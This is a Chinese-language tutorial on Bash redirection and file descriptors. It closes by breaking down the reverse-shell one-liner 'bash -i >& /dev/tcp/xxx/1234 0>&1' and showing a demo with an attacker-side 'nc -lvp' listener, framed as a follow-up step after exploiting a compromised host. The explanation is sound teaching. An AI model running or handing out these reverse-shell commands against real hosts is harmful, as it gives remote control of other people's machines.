文章目录
BASH重定向
文件描述符
可理解为,文件描述符0为我们与计算机交互时的输入,此输入从键盘而来;文件描述符1为我们与计算机交互时的输出,该输出默认指向显示器;文件描述符2为错误信息输出,默认指向与文件描述符1相同,都为显示器。
文件描述符 | 名称 | 常见缩写 | 默认值 |
---|---|---|---|
0 | 标准输入(STDIN_FILENO) | stdin | 键盘 |
1 | 标准输出(STDOUT_FILENO) | stdout | 屏幕(实质为用户终端) |
2 | 标准错误输出(STDERR_FILENO) | stderr | 屏幕(实质为用户终端) |
3-9 | 由程序自行定义的文件描述符,各个工具特有 |
一般重定向及特殊符号
序号 | 符号 | 解释 |
---|---|---|
1 | | | 管道符,将上一个命令的输出作为下个命令的输入 |
2 | tee | 在不影响原本 I/O 的情况下,将 stdout 复制一份到档案去 |
3 | cmd > file | 命令的输出重定向,cmd的输出保存到file当中,覆盖,使用noclobber选项可以防止覆盖原有文件 |
4 | cmd >> file | 该命令的输出重定向,追加 |
5 | cmd < file | 输入重定向,该命令从file读取参数 |
6 | cmd << file | 从命令行读入,直到换行 |
7 | cmd <<< String | 将字符串(不是文件,且包含换行符)输入到命令当中作为输入 |
8 | cmd <> file | 以读写模式把文件file重定向到输入,文件file不会被破坏 |
9 | cmd > | file | 和>效果相同,且无视noclobber选项防止覆盖的效果 |
noclobber避免文件重写导致的覆盖,设置后,在重写文件时当文件存在时,详细使用方法
对文件描述符重定向
命令 | 描述 |
---|---|
cmd >&n | 把输出送到文件描述符n |
cmd m>&n | 把输出到文件符m的信息重定向到文件描述符n |
cmd >&- | 关闭标准输出 |
cmd <&n | 输入来自文件描述符n |
cmd m<&n | m来自文件描述符n |
cmd <&- | 关闭标准输入 |
组合型的重定向
操作的主体是cmd
序号 | 符号 | 解释 |
---|---|---|
1 | cmd 2>file | 将文件描述符2重定向到file,标准错误输出到file当中. |
2 | cmd > file 2>&1 | 把标准错误重定向到标准输出,再重定向到file,即stderr和stdout都被输出到file |
3 | cmd &> file | 同上 |
4 | cmd >& file | 同上 |
5 | cmd>file 2>&1 | 同上 |
6 | cmd > f1 2>f2 | 把stdout重定向到f1,而把stderr重定向到f2 |
7 | tee file1 | 把stdout原样输出的同时,复制一份到files中 |
8 | tee file1 file2 | 输出到标准输出两次,同时保存到file1和file2中 |
9 | 2>&1& | &表示该Bash在后台执行 |
注意:
- command
%>
file当中,我们常用%>
来定向输出,%时文件描述符,在默认情况下>
等价于1>
。
关于重定向需要重点强调的
1.&
用于表示该文件所指向的文件或流(&句柄号),而不再是该文件本身
例子:一个是令文件描述符3
指向了文件描述符1
,另一个是令文件描述符3
指向了文件描述符1指向的文件(即显示器)
。
exec 3 > 1
exec 3 > &1
2.command %>
file
重定向操作的主体是command
我们常用%>
来定向输出,%时文件描述符,
在默认情况下 %>
等价于1>
,
默认情况下 %<
等价于0<
。
3.cmd 0>1
和cmd >file 0>&1
,文件和句柄
前者是0>1是将标准输入重定向到文件名为1的文件,不存在就创建
后者是将标准输入重定向到标准输出,不存在就创建
重定向符号>
和<
左右两侧的为不是流,而是文件或设备。
重定向符号>&
和<&
左右两侧表示不同流的句柄,使用&
来与文件区别开,1
表示一个名为1
的文件(不存在则创建),而&1
表示该文件对应的标准输出,可对特定的输入输出流或窗口进行操作。
0>&1
默认情况下,可以从键盘将命令输入(即 STDIN 句柄)发送到 Cmd.exe,然后由 Cmd.exe 将命令输出(即 STDOUT 句柄)发送到命令提示符窗口。
4.cmd >/dev/null 2>/dev/null
null文件读取为空,将输出流输出到null,会被自动丢弃。
cmd > /dev/null 2>&1
,cmd的两种输出都输出到null。
交互式Bash
开启一个交互式的BASH
bash -i
反弹shell
顾名思义,将一个主机上的shell(命令行)反弹到另一个主机上
采用其他渗透手段,在对方主机(肉鸡)执行反弹Shell的命令,来在目标主机上执行来达到控制对方主机的目的。
使用场景:通过各种漏洞执行该命令,如反序列化、任意命令执行等,通常以各项漏洞的后继步骤出现。
效果:可控制对方Shell执行权限允许的任意命令。
以下为解读:
这条命令在各种漏洞的利用、反弹shell的场合见到。
首先,是 bash -c
,c的含义是command,
bash -c "bash -i >& /dev/tcp/xxx/1234 0>&1"
除去最外层( 一般不必使用),继续分析,
bash -i >& /dev/tcp/xxx/1234 0>&1
bash -i
创建一个交互式的Bash,
特殊文件/dev/tcp/xxx/1234
,用于建立和xxx:1234
的Socket(TCP协议)连接。
&>
将标准输出和标准错误都重定向到/dev/tcp/xxx/1234
中,效果等同>/dev/tcp/xxx/1234 2>&1
和&>
bash的标准输出重定向到xxx:1234
Socket连接的Socket连接上,
0>&1
将文件描述符0重定向到文件描述符1,标准输入被重定向到标准输出。
综合解释是,首先&>使得标准输出重定向到了我们的TCP连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。
测试
攻击方
监听端口
nc -lvp 2333
被攻击方
反弹Shell
bash -i >& /dev/tcp/xxx/2333 0>&1
此时可以观察到攻击方的Shell已经转变为了对方的Shell
执行ls
可以得到响应(此时读取的文件列表为对方主机上的)
对比开始和结束时的文件描述符指向,
可以看到,文件描述符的指向从/dev/pts/0
指向了socket(也就是/dev/tcp/xxx/1234的功效)。
/dev/pts/0
虚拟终端,打开一个终端,这个终端就叫pts/0
,新开的终端以此类推pts/n
,也就是说在开始阶段,文件描述符号均指向终端,表现为我们的输入输出均在终端可见且可操控。(使用who命令可以查看在线或在使用的终端。)
Q/A
问题1:
Q:管道和重定向有何区别?
A:管道是把一个程序的输出作为另一个程序的输入,重定向是把输出定向到文件或者标准流。